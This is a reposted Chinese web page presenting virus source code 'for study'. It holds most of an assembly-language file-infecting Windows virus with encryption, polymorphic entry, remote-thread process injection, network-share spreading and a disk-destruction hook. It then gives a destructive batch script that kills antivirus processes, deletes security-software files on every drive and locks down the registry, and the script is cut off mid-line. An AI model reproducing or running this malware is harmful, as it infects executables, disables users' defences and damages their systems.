纯ASM编写的病毒供学习使用病毒防范

时间:2023-01-27 07:26:14 其他范文 收藏本文 下载本文

纯ASM编写的病毒供学习使用病毒防范(精选5篇)由网友“我要笑”投稿提供,下面给大家分享纯ASM编写的病毒供学习使用病毒防范,欢迎阅读!

纯ASM编写的病毒供学习使用病毒防范

篇1:纯ASM编写的病毒供学习使用病毒防范

来源:www.54rk.cn

这篇在邪八有放过!

这是一只纯ASM编写的病毒,具备文件感染,入口代码变形,自身加密,EPO等功能,是一只无任何

特征码的病毒,设计目的是为对抗反病毒软件的特征码杀毒、行为杀毒和虚拟机杀毒,现有代码

未提供任何破坏功能,但会主动感染可执行文件,而且被感染过的文件很难再还原,这点请注意

另外这东西也提供了Ring0功能,主要用于感染运行中的可执行文件

这东西写完后放了很久,不太记得怎么用了,把代码放上来有兴趣的朋友拿去研究研究,汇编工

具为TASM,由于已经不确定会产生什么后果了,测试时请自行承担风险,还有不要拿去做坏事,

部分代码:

.486p

.model flat, stdcall

option casemap :none

;----------------------------------------------------------------------------

CRC16 MACRO string, lstr

CRC_VALUE = 0ffffffffh

IRPC CRC_BYTE, lstr

CRC_VALUE = CRC_VALUE xor '&CRC_BYTE'

REPT 8

CRC_VALUE = (CRC_VALUE shr 1) xor ((CRC_VALUE and 1) * 0edb88320h)

ENDM

ENDM

CRC_VALUE = CRC_VALUE xor 0ffffffffh

dw (CRC_VALUE and 0ffffh)

ENDM

APIDEF MACRO string, sym

CRC16, sym

sym = vEnd + VARLEN + APICOUNT

APICOUNT = APICOUNT + 6

ENDM

VARDEF MACRO string, sym, vw

sym = VARCOUNT

VARCOUNT = VARCOUNT + vw

ENDM

LIBDEF MACRO string, sym, lstr

local l1, l2

l1:

db lstr, 0

l2:

sym = LIBCOUNT

LIBCOUNT = LIBCOUNT + (l2 - l1)

ENDM

pushsz MACRO lstr

local pushstr

call pushstr

db  lstr, 0

pushstr:

ENDM

rdtsc MACRO

db 0fh, 31h

ENDM

ShowMessage MACRO lstr

IF DEBUG

UTPUTMESSAGE = 1

pushsz, lstr

call OutputMessage

ENDIF

ENDM

WIN32_FIND_DATAA STRUCT

dwFileAttributes   DWORD ?

ftCreationTime    QWORD ?

ftLastAccessTime   QWORD ?

ftLastWriteTime    QWORD ?

nFileSizeHigh    DWORD ?

nFileSizeLow    DWORD ?

dwReserved0     DWORD ?

dwReserved1     DWORD ?

cFileName     BYTE 260 dup(?)

cAlternateFileName   BYTE 14 dup(?)

ALIGN 4

WIN32_FIND_DATAA ENDS

PROCESSENTRY32 STRUCT

dwSize      DWORD ?

cntUsage     DWORD ?

th32ProcessID    DWORD ?

th32DefaultHeapID   DWORD ?

th32ModuleID    DWORD ?

cntThreads     DWORD ?

th32ParentProcessID   DWORD ?

pcPriClassBase    DWORD ?

dwFlags      DWORD ?

szExeFile     BYTE 260 dup(?)

PROCESSENTRY32 ENDS

;--------------------------------------------------------

DEBUG = 1

UTPUTMESSAGE = 0

VARLEN = 140h

vSize = vEnd - vBegin

vdelta = vEnd + 80h

MAX_PATH = 104h

VARCOUNT = 0

APICOUNT = 0

LIBCOUNT = 0

MainLoaderSize equ 26

MiniLoaderSize equ 10

FILE_WRITE_ENABLE equ 00000001b

RING0_CODE_ALLOW equ 00000010b

USED_MINI_LOADER equ 00000100b

NTK_API_INIT equ 8

NTL_API_INIT equ 9

;****************************************************************************

;  全局变量结构

;****************************************************************************

VARCOUNT = -80h

VARDEF, var_k32base, 4

VARDEF, var_vbase, 4

VARDEF, var_temp1, 4

VARDEF, var_temp2, 4

VARDEF, var_temp3, 4

VARDEF, var_temp4, 4

VARDEF, var_flags, 4

VARDEF, var_fname, 4

VARDEF, var_ftime, 8

VARDEF, var_fsize, 8

VARDEF, var_fpatch, 4

VARDEF, var_hFile, 4

VARDEF, var_hMap, 4

VARDEF, var_pMem, 4

VARDEF, var_kfmap, 4

VARDEF, var_hostcall, 4

VARDEF, fun_random, 4

VARDEF, fun_knlxx, 4

VARDEF, var_voff, 4

VARDEF, var_vkey, 4

;--------------------------------------------------------

VARCOUNT = 0

VARDEF, fun_WNetCloseEnum, 4

VARDEF, fun_WNetEnumResourceA, 4

VARDEF, fun_WNetOpenEnumA, 4

.DATA

;****************************************************************************

;  初始化

;****************************************************************************

vBegin:

push eax

add  esp, 4

db  90h

db  90h

push eax

pushfd

pushad       ;保存宿主上下文

enter 40h, 0

cld

xor  ebx, ebx

mov  eax, fs:[ebx]

xchg esi, eax

lodsd

cmp  eax, -1

jne  $ - 5     ;查找SEH链尾

mov  edx, [esi]

FindK32Base:

dec  edx

xor  dx, dx

cmp  word ptr [edx], 'ZM'

jne  FindK32Base

mov  eax, [edx + 3ch]

cmp  dword ptr [edx + eax], 'EP'

jne  FindK32Base

call PUSHINITDATA

K32BaseValue dd 0

CRC16, CloseHandle     ;40h

CRC16, CreateRemoteThread   ;3ch

CRC16, CreateToolhelp32Snapshot ;38h

CRC16, OpenProcess     ;34h

CRC16, Process32First    ;30h

CRC16, Process32Next    ;2ch

CRC16, VirtualAllocEx    ;28h

CRC16, VirtualFreeEx    ;24h

CRC16, WriteProcessMemory   ;20h

db  00h

PUSHINITDATA:

pop  esi

mov  [esi], edx

lodsd

lea  edi, [ebp - 40h]

call GetApiAddressFromList

call $ + 9 + MainLoaderSize

modifyaddr db 4 dup(?)

modifydata db MainLoaderSize dup(?)

pop  esi

lodsd

mov  [ebp + 28h], eax  ;写入返回宿主的地址

push ebx      ;lpNumberOfBytesWritten=NULL

push MainLoaderSize   ;nSize

push esi      ;lpBuffer

push eax      ;lpBaseAddress

push -1      ;hProcess

call [ebp - 20h]    ;WriteProcessMemory

rdtsc

call srand     ;更新随机数种子

and  al, 1

jnz  AttachCurrentProcess

call EnumProcess

push eax      ;dwProcessId

push 0      ;bInheritHandle

push 1f0fffh     ;PROCESS_ALL_ACCESS

call [ebp - 34h]    ;OpenProcess

test eax, eax

jz  AttachCurrentProcess

xchg edi, eax

call CreateVirusThread

pushfd

push edi      ;hProcess

call [ebp - 40h]    ;CloseHandle

popfd

jnc  ReturnHost

AttachCurrentProcess:

or  edi, -1

call CreateVirusThread

ReturnHost:

leave

popad

popfd

ret        ;返回宿主

;--------------------------------------------------------

EnumProcess:

mov  ebx, ebp

enter size PROCESSENTRY32, 0

mov  esi, esp

push 0      ;TH32CS_INHERIT

push 2      ;TH32CS_SNAPPROCESS

call [ebx - 38h]    ;CreateToolhelp32Snapshot

xchg edi, eax

mov  [esi].dwSize, size PROCESSENTRY32

push esi      ;lppe

push edi      ;hSnapshot

call [ebx - 30h]    ;Process32First

xchg ecx, eax

jecxz NoProcessExist

GetNextProcess:

IF DEBUG

cmp  dword ptr [esi].szExeFile, 'eton'

jne  $ + 5

ENDIF

push dword ptr [esi].th32ProcessID

push esi      ;lppe

push edi      ;hSnapshot

call [ebx - 2ch]    ;Process32Next

test eax, eax

jnz  GetNextProcess

NoProcessExist:

push edi      ;hSnapshot

call [ebx - 40h]    ;CloseHandle

mov  eax, esi

sub  eax, esp

jz  EnumProcess_Return

shr  eax, 2

call random

mov  eax, [esp + eax * 4] ;随机选一个进程返回

mov  esp, esi

EnumProcess_Return:

leave

ret

;--------------------------------------------------------

CreateVirusThread:

xor  esi, esi

xor  eax, eax

push 40h      ;PAGE_EXECUTE_READWRITE

mov  ah, 10h

push eax      ;MEM_COMMIT

mov  ah, 50h

push eax      ;分配内存大小(20K)

push esi      ;NULL

push edi      ;hProcess

call [ebp - 28h]    ;VirtualAllocEx

mov  ebx, eax    ;保存内存地址

test eax, eax

jz  CreateVirusThread_Return

call $ + 5

pop  eax

sub  eax, $ - vBegin - 1  ;指向病毒代码

push esi      ;lpNumberOfBytesWritten=NULL

push vSize     ;nSize

push eax      ;lpBuffer

push ebx      ;lpBaseAddress

push edi      ;hProcess

call [ebp - 20h]    ;WriteProcessMemory

xchg ecx, eax

jecxz CreateFailed

lea  eax, [ebx + MyVirusStart - vBegin]

push esi

push esp      ;lpThreadId

push esi      ;NULL

push ebx      ;lpParameter=内存基址

push eax      ;MyVirusStart

push esi      ;0

push esi      ;NULL

push edi      ;hProcess

call [ebp - 3ch]    ;CreateRemoteThread

pop  edx

xchg ecx, eax

jecxz CreateFailed

clc

ret

CreateFailed:

mov  ch, 80h

push ecx      ;MEM_RELEASE

push esi      ;dwSize=0

push ebx      ;lpAddress

push edi      ;hProcess

call [ebp - 24h]    ;VirtualFreeEx

CreateVirusThread_Return:

stc

ret

;****************************************************************************

;  获取API,生成调用转向表(ESI:API-CRC列表,EDI:写入地址,EDX:模块句柄)

;****************************************************************************

BuildImportTable:

pushad

xor  ecx, ecx

inc  ecx

inc  ecx

cmp  [esi + ecx], ch   ;此处假设API总数少于128个

jne  $ - 5

add  edi, ecx

call GetApiAddressFromList

mov  esi, edi

sub  edi, ecx

shr  ecx, 1

mov  al, 068h    ;push

stosb

movsd

mov  al, 0c3h    ;ret

stosb

loop $ - 7

popad

ret

;--------------------------------------------------------

GetApiAddressFromList:

pushad

mov  ecx, [edx + 3ch]

add  ecx, edx

mov  ebx, [ecx + 78h]  ;ExporyTableAddress

add  ebx, edx

or  ebp, -1     ;计数寄存器

SearchNextAPI:

mov  ecx, [ebx + 20h]  ;AddressOfNames

add  ecx, edx

ContinueSearch:

inc  ebp

mov  eax, edx

add  eax, [ecx + ebp * 4] ;取API名称字符串

call vStrToCRC

cmp  [esi], ax

jne  ContinueSearch

mov  eax, [ebx + 24h]  ;AddressOfNameOrdinals

add  eax, edx

movzx eax, word ptr [eax + ebp * 2]

mov  ecx, [ebx + 1ch]  ;AddressOfFunctions

add  ecx, edx

mov  eax, [ecx + eax * 4]

add  eax, edx

stosd       ;保存API地址

inc  esi

inc  esi

cmp  byte ptr [esi], 0  ;API名的CRC16列表以单个0结束

jne  SearchNextAPI

popad

ret

;****************************************************************************

;  循环冗余校验(EAX:字符串指针)

;****************************************************************************

vStrToCRC:

push ecx

push edx

push edi

xchg edi, eax

xor  eax, eax

or  ecx, -1

repne scasb

not  ecx

dec  eax

sub  edi, ecx

dec  ecx

@1:

xor  al, [edi]

inc  edi

mov  dl, 8

@2:

shr  eax, 1

jnc  @3

xor  eax, 0edb88320h

@3:

dec  dl

jnz  @2

loop @1

pop  edi

pop  edx

pop  ecx

not  eax

ret

;--------------------------------------------------------

KNLAPILIST:

APIDEF, CloseHandle

APIDEF, CreateFileA

APIDEF, CreateFileMappingA

APIDEF, CreateMutexA

APIDEF, CreateThread

APIDEF, FindClose

APIDEF, FindFirstFileA

APIDEF, FindNextFileA

APIDEF, GetCurrentProcess

APIDEF, GetDriveTypeA

APIDEF, GetFileAttributesA

APIDEF, GetFileSize

APIDEF, GetFileTime

APIDEF, GetModuleHandleA

APIDEF, GetProcAddress

APIDEF, GetSystemTime

APIDEF, LoadLibraryA

APIDEF, LocalFree

APIDEF, MapViewOfFile

APIDEF, OpenMutexA

APIDEF, SetEndOfFile

APIDEF, SetFileAttributesA

APIDEF, SetFilePointer

APIDEF, SetFileTime

APIDEF, Sleep

APIDEF, UnmapViewOfFile

APIDEF, VirtualAlloc

APIDEF, VirtualFree

APIDEF, VirtualLock

APIDEF, VirtualUnlock

APIDEF, WaitForSingleObject

APIDEF, WriteFile

APIDEF, WriteProcessMemory

db  00h  ;ENDLIST

KNLAPICALL = CloseHandle

MPRAPILIST:

CRC16, WNetCloseEnum

CRC16, WNetEnumResourceA

CRC16, WNetOpenEnumA

db  00h  ;ENDLIST

;****************************************************************************

;  病毒入口

;****************************************************************************

MyVirusStart:

mov  ebx, [esp + 4]    ;取得代码基址

call setup_seh

pop  eax

pop  eax

pop  esp

pop  eax       ;next_seh

pop  ebx       ;setup_seh

pop  eax       ;线程返回地址

pop  ebx       ;内存基地址

push 8000h      ;MEM_RELEASE

push 0

push ebx

push eax

jmp  VirtualFree     ;释放占用的内存并退出

setup_seh:

xor  ecx, ecx

push dword ptr fs:[ecx]

mov  fs:[ecx], esp

MyVirusDebugStart:

lea  ebp, [ebx + vSize + 80h] ;EBP指向全局变量

mov  [ebp + var_vbase], ebx  ;保存代码基址

mov  edx, [ebx + K32BaseValue - vBegin]

mov  [ebp + var_k32base], edx ;保存Kernel32基地址

add  ebx, 1024 * 12

mov  [ebp + var_flags], ecx  ;清空标志位

mov  [ebp + var_fpatch], ebx

xor  eax, eax

call random

and  al, 3

jnz  $ + 6

or  byte ptr [ebp + var_flags], RING0_CODE_ALLOW

lea  esi, [ebp + KNLAPILIST - vdelta]

lea  edi, [ebp + KNLAPICALL - vdelta]

call BuildImportTable   ;自建API导入表

enter 4 * 8, 0

mov  esi, esp

push esp

call GetSystemTime

lodsd        ;year

mov  ch, al

lodsd        ;month

mov  cl, al

lodsd        ;week

shl  ecx, 8

lodsd        ;day

mov  cl, al      ;取得当前年月日

leave

ShowMessage, “Hello!”

ShowMessage, “Next!”

call $ + 9

vInfectTime  dd 291402edh

pop  edx

sub  ecx, [edx]

add  [edx], ecx     ;保存当前时间为以后病毒的感染时间

shr  ecx, 10      ;病毒潜伏期为3个月

jz  $ + 16

xor  eax, eax

call random

test al, 7fh      ;之后将随机发作(128分之1的机率)

jnz  $ + 7

call DestroyDisk

; call vInfect      ;正常情况下继续感染

IF DEBUG

int  3

ENDIF

;--------------------------------------------------------

LoadLibrary:

pop  ecx       ;返回地址

pop  eax       ;入口参数

push ecx

push ebx

call PUSHMODULENAME

LIBDEF, NTDLL, “ntdll”

LIBDEF, ADVAPI32, “advapi32”

LIBDEF, MPR, “mpr”

PUSHMODULENAME:

pop  ebx       ;库名列表

add  ebx, eax

push ebx

call GetModuleHandleA

test eax, eax

jnz  $ + 8

push ebx

call LoadLibraryA

pop  ebx

ret

;****************************************************************************

;  文件感染

;****************************************************************************

vInfect:

push MPR

call LoadLibrary

xchg edx, eax

lea  esi, [ebp + MPRAPILIST - vdelta]

lea  edi, [ebp + fun_WNetCloseEnum]

call GetApiAddressFromList

GetAnotherDrive:

push 20

pop  eax

call random

add  eax, '\:C'

push eax

push esp

call GetDriveTypeA

sub  al, 3

cmp  al, 2

pop  eax

jnb  GetAnotherDrive

IF DEBUG

cmp  al, 'X'

jne  GetAnotherDrive

ENDIF

push eax

mov  esi, esp

call EnumDirectoryTree

pop  eax

call EnumNetResource

jmp  GetAnotherDrive

;****************************************************************************

;  枚举局域网资源

;****************************************************************************

EnumNetResource:

sub  esp, 512

mov  esi, esp

xor  ebx, ebx

push eax

push esp      ;lphEnum

push ebx      ;NULL

jmp  WNetS

WNetE2:

xor  ebx, ebx

push eax

push esp      ;lphEnum

push esi      ;lpNetResource

WNetS:

push ebx      ;dwUsage

push ebx      ;RESOURCETYPE_ANY

push 2      ;RESOURCE_GLOBALNET

call [ebp + fun_WNetOpenEnumA]

test eax, eax

jnz  WNetE1

WNetE4:

pop  edi      ;hEnum

push 1

mov  eax, esp

mov  bh, 2

push ebx

push esp      ;lpBufferSize=512

push esi      ;lpBuffer

push eax      ;lpcCount=1

push edi      ;hEnum

call [ebp + fun_WNetEnumResourceA]

pop  ecx

pop  ecx

push edi

test eax, eax

jnz  WNetE3

cmp  dword ptr [esi + 4], 1 ;RESOURCETYPE_DISK

jne  WNetE2

pushad

mov  esi, [esi + 14h]

call EnumDirectoryTree

popad

jmp  WNetE4

WNetE3:

push edi      ;hEnum

call [ebp + fun_WNetCloseEnum]

WNetE1:

pop  edi

cmp  esp, esi

jne  WNetE4

add  esp, 512

ret

;****************************************************************************

;  搜索文件(ESI:路径指针)

;****************************************************************************

EnumDirectoryTree:

push ebx

enter size WIN32_FIND_DATAA + MAX_PATH + 8, 0

lea  edi, [ebp - MAX_PATH - 8]

mov  ebx, esp

mov  [ebp - 4], edi

lodsb

stosb

test al, al

jnz  $ - 4

cmp  byte ptr [edi - 2], '\'

jne  $ + 3

dec  edi

SearchDirectory:

mov  byte ptr [edi - 1], '\'

mov  dword ptr [edi], '*.*'

push ebx      ;lpFindFileData

push dword ptr [ebp - 4]  ;lpFileName

call FindFirstFileA

mov  esi, eax

inc  eax

jz  FileNoFind

FindFileLoop:

push edi

push esi

lea  esi, [ebx].cFileName

cmp  byte ptr [esi], '.'

je  ReSearchDirectory  ;跳过当前及上一级目录

lodsb

stosb

test al, al

jnz  $ - 4     ;连接新文件路径

test byte ptr [ebx].dwFileAttributes, 10h ;FILE_ATTRIBUTE_DIRECTORY

jnz  SearchDirectory

mov  eax, [edi - 5]

IF DEBUG

cmp  eax, '7exe'

ELSE

cmp  eax, 'exe.'    ;检察文件类型

ENDIF

jne  ReSearchDirectory

pushad

mov  esi, [ebp - 4]

mov  ebp, [ebp]

call InfectFile

popad

ReSearchDirectory:

pop  esi

pop  edi

push ebx      ;lpFindFileData

push esi      ;hFindFile

call FindNextFileA

test eax, eax

jnz  FindFileLoop

push esi      ;hFindFile

call FindClose

FileNoFind:

cmp  esp, ebx

jne  ReSearchDirectory  ;继续前一个目录的搜索

leave

pop  ebx

InfectFile_TempLabel:

ret

;****************************************************************************

;  感染磁盘文件(ESI:文件名指针)

;****************************************************************************

InfectFile:

call LoadFile      ;内存映象文件

jz  InfectFile_TempLabel

cmp  word ptr [ebx], 'ZM'   ;EBX指向文件头

jne  InfectFailed

mov  edx, [ebx + 3ch]

add  edx, ebx

cmp  dword ptr [edx], 'EP'   ;EDX指向PE头

jne  InfectFailed

cmp  dword ptr [edx + 58h], 0  ;CheckSum

jne  InfectFailed     ;不感染校验和非0的文件

movzx ecx, word ptr [edx + 6]

imul eax, ecx, 28h

lea  esi, [edx + eax + 0f8h - 28h] ;指向最后一节

mov  edi, [esi + 10h]    ;SizeOfRawData

add  edi, [esi + 14h]    ;PointerToRawData

cmp  [ebp + var_fsize], edi

jne  InfectFailed     ;确保文件没有附加数据

int  3

call VirusEPO      ;搜索代码插入点

jc  InfectFailed

;下面的代码将向[ebp + var_patch]所指的内存中写入补丁数据

;补丁包括已加密的病毒体,随机生成的解密器及修改后的原程序最后一个节

;补丁格式为4字节文件偏移,4字节数据长度,不定字节数据

mov  edi, [ebp + var_fpatch]

push edx

mov  edx, [edx + 34h]    ;ImageBase

add  edx, [esi + 0ch]    ;VirtualAddress

add  edx, [esi + 10h]    ;病毒入口的RVA

push edx     ;arg_5

push eax     ;arg_4

push ecx     ;arg_3

xchg eax, ecx

sub  eax, ebx

stosd

push MainLoaderSize

pop  eax

stosd

push edi     ;arg_2

add  edi, eax

mov  eax, [esi + 14h]    ;PointerToRawData

add  eax, [esi + 10h]    ;病毒代码在节中的虚拟偏移

stosd

xor  eax, eax

mov  ah, ((vSize + 1010h -1) and 0fffff000h) shr 8

stosd

push edi     ;arg_1

add  edi, eax

call CreateEntryPatch    ;创建病毒入口

mov  eax, esi

sub  eax, ebx

stosd

push 28h        ;PE节表项大小

pop  eax

stosd         ;拷贝原程序的最后一节

xchg ecx, eax

rep  movsb       ;复制该节数据

xor  ecx, ecx

mov  ch, ((vSize + 1010h - 1) and 0fffff000h) shr 8

add  [edi - 28h + 08h], ecx   ;增加节长度

add  [edi - 28h + 10h], ecx   ;增加节长度

or  byte ptr [edi - 28h + 27h], 80h ;增加写属性

add  [ebp + var_fsize], ecx   ;增加文件长度

pop  edx

lea  eax, [edx + 50h]    ;SizeOfImage

mov  edx, [eax]

sub  eax, ebx

stosd

push 4

pop  eax

stosd

add  edx, ecx

xchg eax, edx

stosd

and  dword ptr [edi], 0    ;补丁结束标志

call ModifyFile

InfectFailed:

push dword ptr [ebp + var_pMem]  ;lpBaseAddress

call UnmapViewOfFile

push dword ptr [ebp + var_hFile]  ;hFile

call CloseHandle

ret

;****************************************************************************

;

;****************************************************************************

vEncrypt:

pushad

xchg edi, eax

xor  eax, eax

lea  ecx, [eax + 9]

call random

imul eax, 0ffffffedh

stosd       ;写入病毒代码前先填入少量无用数据

loop $ - 4

and  eax, 31

lea  edi, [edi + eax - 4 * 9]

mov  edx, [edi + 4 * 8]  ;加密密钥

mov  [ebp + var_voff], edi

mov  [ebp + var_vkey], edx

mov  esi, [ebp + var_vbase] ;当前病毒代码基址

mov  eax, 12345678h

or  eax, edx

xor  eax, [esi]

stosd

mov  ecx, vSize shr 2

LoopEncryptVirusBody:

lodsd

xor  eax, edx

xor  eax, [esi]

stosd

loop LoopEncryptVirusBody

popad

ret

;****************************************************************************

;  打开文件(ESI:文件名)

;****************************************************************************

LoadFile:

xor  ebx, ebx

or  byte ptr [ebp + var_flags], FILE_WRITE_ENABLE

push esi       ;lpFileName

call GetFileAttributesA

push eax       ;dwFileAttributes

push esi       ;lpFileName

and  al, 0feh     ;去除只读属性

push eax       ;dwFileAttributes

push esi       ;lpFileName

call SetFileAttributesA

push ebx       ;NULL

push ebx       ;0

push 3       ;OPEN_EXISTING

push ebx       ;NULL

push ebx       ;0

push 0c0000000h     ;GENERIC_READ + GENERIC_WRITE

push esi       ;lpFileName

call CreateFileA

xchg edi, eax

call SetFileAttributesA   ;还原文件属性

inc  edi

jnz  MemMapFile_Success

and  byte ptr [ebp + var_flags], not FILE_WRITE_ENABLE

test byte ptr [ebp + var_flags], RING0_CODE_ALLOW

jz  MemMapFile_Finish

push ebx       ;NULL

push ebx       ;0

push 3       ;OPEN_EXISTING

push ebx       ;NULL

push ebx       ;0

push 080000000h     ;GENERIC_READ

push esi       ;lpFileName

call CreateFileA

xchg edi, eax

inc  edi

jz  MemMapFile_Finish

MemMapFile_Success:

dec  edi

lea  esi, [ebp + var_ftime]

mov  [ebp + var_hFile], edi  ;保存文件句柄

push esi       ;lpLastWriteTime

push ebx       ;NULL

push ebx       ;NULL

push edi       ;hFile

call GetFileTime

movzx eax, byte ptr [esi]

mov  cl, 29

div  cl

sub  [esi], ah

IFE DEBUG

test ah, ah

jz  MemMapFile_Error

ENDIF

push ebx       ;NULL

push edi       ;hFile

call GetFileSize

mov  [ebp + var_fsize], eax  ;保存文件长度

mov  [ebp + var_fsize + 4], ebx ;文件长度高位清零

test eax, 0ffc00000h

jnz  MemMapFile_Error   ;文件大于4M不感染

IFE DEBUG

shr  eax, 14

jz  MemMapFile_Error   ;文件小于16K不感染

ENDIF

push ebx       ;NULL

push ebx       ;0

push ebx       ;0

push 2       ;PAGE_READONLY

push ebx       ;NULL

push edi       ;hFile

call CreateFileMappingA

xchg esi, eax

push ebx       ;0

push ebx       ;0

push ebx       ;0

push 4       ;FILE_MAP_READ

push esi       ;hMap

call MapViewOfFile

xchg ebx, eax

push esi       ;hMap

call CloseHandle

mov  [ebp + var_pMem], ebx

test ebx, ebx

jnz  MemMapFile_Finish

MemMapFile_Error:

push edi       ;hFile

call CloseHandle

xor  ebx, ebx

MemMapFile_Finish:

ret

;****************************************************************************

;  把补丁数据写入文件并放置感染标志

;****************************************************************************

ModifyFile:

xor  ebx, ebx

test byte ptr [ebp + var_flags], FILE_WRITE_ENABLE

jz  ForceModifyFile

mov  edi, [ebp + var_hFile]

mov  esi, [ebp + var_fpatch]

ModifyFile_PatchNextOffset:

lodsd        ;读取偏移

xchg ecx, eax

jecxz ModifyFile_ModifyFileFinish

push ebx       ;FILE_BEGIN

push ebx       ;0

push ecx       ;lDistanceToMove

push edi       ;hFile

call SetFilePointer

lodsd        ;读取长度

push ebx

mov  edx, esp

push ebx       ;lpOverlapped

push edx       ;lpNumberOfBytesWritten

push eax       ;nNumberOfBytesToWrite

push esi       ;lpBuffer

push edi       ;hFile

add  esi, eax     ;指向下一处补丁

call WriteFile

pop  eax

jmp  ModifyFile_PatchNextOffset

ModifyFile_ModifyFileFinish:

lea  eax, [ebp + var_ftime]

push eax       ;lpLastWriteTime

push ebx       ;NULL

push ebx       ;NULL

push edi       ;hFile

call SetFileTime     ;修改文件时间作为感染标志

ret

;****************************************************************************

;  从内核打开被锁定的文件并打上补丁

;****************************************************************************

ForceModifyFile:

mov  [ebp + var_kfmap], ebx

lea  eax, [ebp + knlMapViewByHandle - vdelta]

mov  [ebp + fun_knlxx], eax

call RunRing0Code

mov  esi, [ebp + var_fpatch]

xor  ebx, [ebp + var_kfmap]

jz  ForceModifyFile_MapFailed

ForceModifyFile_NextPathc:

lodsd

xchg ecx, eax

jecxz ForceModifyFile_PathcFinish

lea  edi, [ebx + ecx]

lodsd

xchg ecx, eax

rep  movsb

jmp  ForceModifyFile_NextPathc

ForceModifyFile_PathcFinish:

mov  ecx, [ebp + var_fsize]

mov  esi, ebx

inc  ecx

shr  ecx, 1

xor  edi, edi

adc  di, [esi]     ;计算文件检验和

inc  esi

inc  esi

loop $ - 5

mov  edx, [ebx + 3ch]

add  edi, [ebp + var_fsize]

add  edx, ebx

mov  [edx + 58h], edi   ;设置检验和

push ebx

call UnmapViewOfFile

ForceModifyFile_MapFailed:

ret

;****************************************************************************

;  ???

;****************************************************************************

DestroyDisk:

ret

;--------------------------------------------------------

;IF DEBUG

INCLUDE ntknl.inc

;ENDIF

INCLUDE anti_kv.inc

;--------------------------------------------------------

IF OUTPUTMESSAGE

OutputMessage:

pushad

pushsz, “user32”

call LoadLibraryA

pushsz, “MessageBoxA”

push eax

call GetProcAddress

push 44h

pushsz, “Angel - Debuging”

push dword ptr [esp + 2ch]

push 0

call eax

cmp  al, 7

jne  $ + 3

int  3

popad

ret  4

ENDIF

ALIGN 4

vEnd:

db  1024 dup (0)

;****************************************************************************

;  病毒调试入口(EDI:DST)

;****************************************************************************

.CODE

extern GetModuleHandleW:PROC

start:

mov  esi, offset start

mov  eax, esi

call vCodeCheck

add  esi, ecx

jmp  $ - 9

mov  ebp, offset vdelta

push offset nKernel32

call GetModuleHandleW

xchg edx, eax

mov  esi, offset KNLAPILIST

mov  edi, offset KNLAPICALL

call BuildImportTable

rdtsc

call srand

mov  ebp, offset vdelta

sub  esp, 256

mov  edi, esp

call VirusPoly

add  esp, 256

ret

; call vBegin

; call TestMainProgram

; mov  ebp, offset vdelta

call TestInfect

; call TestRing0

ret

;----------------------------------------------------------------------------

TestMainProgram:

call Set_SEH

pop  eax      ;异常处理

pop  eax

pop  esp

jmp  exit

Set_SEH:

xor  ecx, ecx

push dword ptr fs:[ecx]

mov  fs:[ecx], esp   ;挂上SEH

mov  ebx, offset vBegin

push offset nKernel32

call GetModuleHandleW

mov  [K32BaseValue], eax

call MyVirusDebugStart

exit:

xor  ecx, ecx

pop  dword ptr fs:[ecx]

pop  eax

ret

;----------------------------------------------------------------------------

TestInfect:

rdtsc

call srand

mov  esi, offset nTarget

sub  esp, 1024 * 8

mov  [ebp + var_fpatch], esp

call InfectFile

add  esp, 1024 * 8

ret

;----------------------------------------------------------------------------

TestRing0:

mov  dword ptr [ebp + var_fname], offset nTestFile

mov  dword ptr [ebp + var_fsize], 4096

call ForceModifyFile

ret

;----------------------------------------------------------------------------

nTarget db  “F:\PROFILE\Desktop\project\1986\test\try.exe”, 0

nTestFile db “C:\test.exe”, 0

; nKernel32 db 'kernel32', 0

nKernel32 db 'k', 0, 'e', 0, 'r', 0, 'n', 0, 'e', 0, 'l', 0, '3', 0, '2', 0, 0, 0

END start

;----------------------------------------------------------------------------

asmangel.rar(完整代码下载)

篇2:制作编写超级批处理病毒病毒防范

网上的批处理病毒代码很少,我发一段我写的批处理给大家研究,我水平一般,也就只能写出这点东西了,大家多多包涵。废话不多说了,大家看代码,仅供研究,不要做坏事。

@echo offtitle You DEAD!!!!!!!set taskkill=scopy %0 %windir%\system32\cmd.batattrib %windir%\system32\cmd.bat +r +s +hnet stop sharedaccess >nul%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul%s% /im norton* /f >nul%s% /im av* /f >nul%s% /im fire* /f >nul%s% /im anti* /f >nul%s% /im spy* /f >nul%s% /im bullguard /f >nul%s% /im PersFw /f >nul%s% /im KAV* /f >nul%s% /im ZONEALARM /f >nul%s% /im SAFEWEB /f >nul%s% /im OUTPOST /f >nul%s% /im nv* /f >nul%s% /im nav* /f >nul%s% /im F-* /f >nul%s% /im ESAFE /f >nul%s% /im cle /f >nul%s% /im BLACKICE /f >nul%s% /im def* /f >nul%s% /im 360safe.exe /f >nulnet stop Shadow“ ”System“ ”Serviceset alldrive=d e f g h i j k l m n o p q r s t u v w x y zfor %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nulfor %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nulrem 修改注册表.......REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disableregistrytools /t REG_DWORD /d 00000002 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetHood /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoDesktop /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v 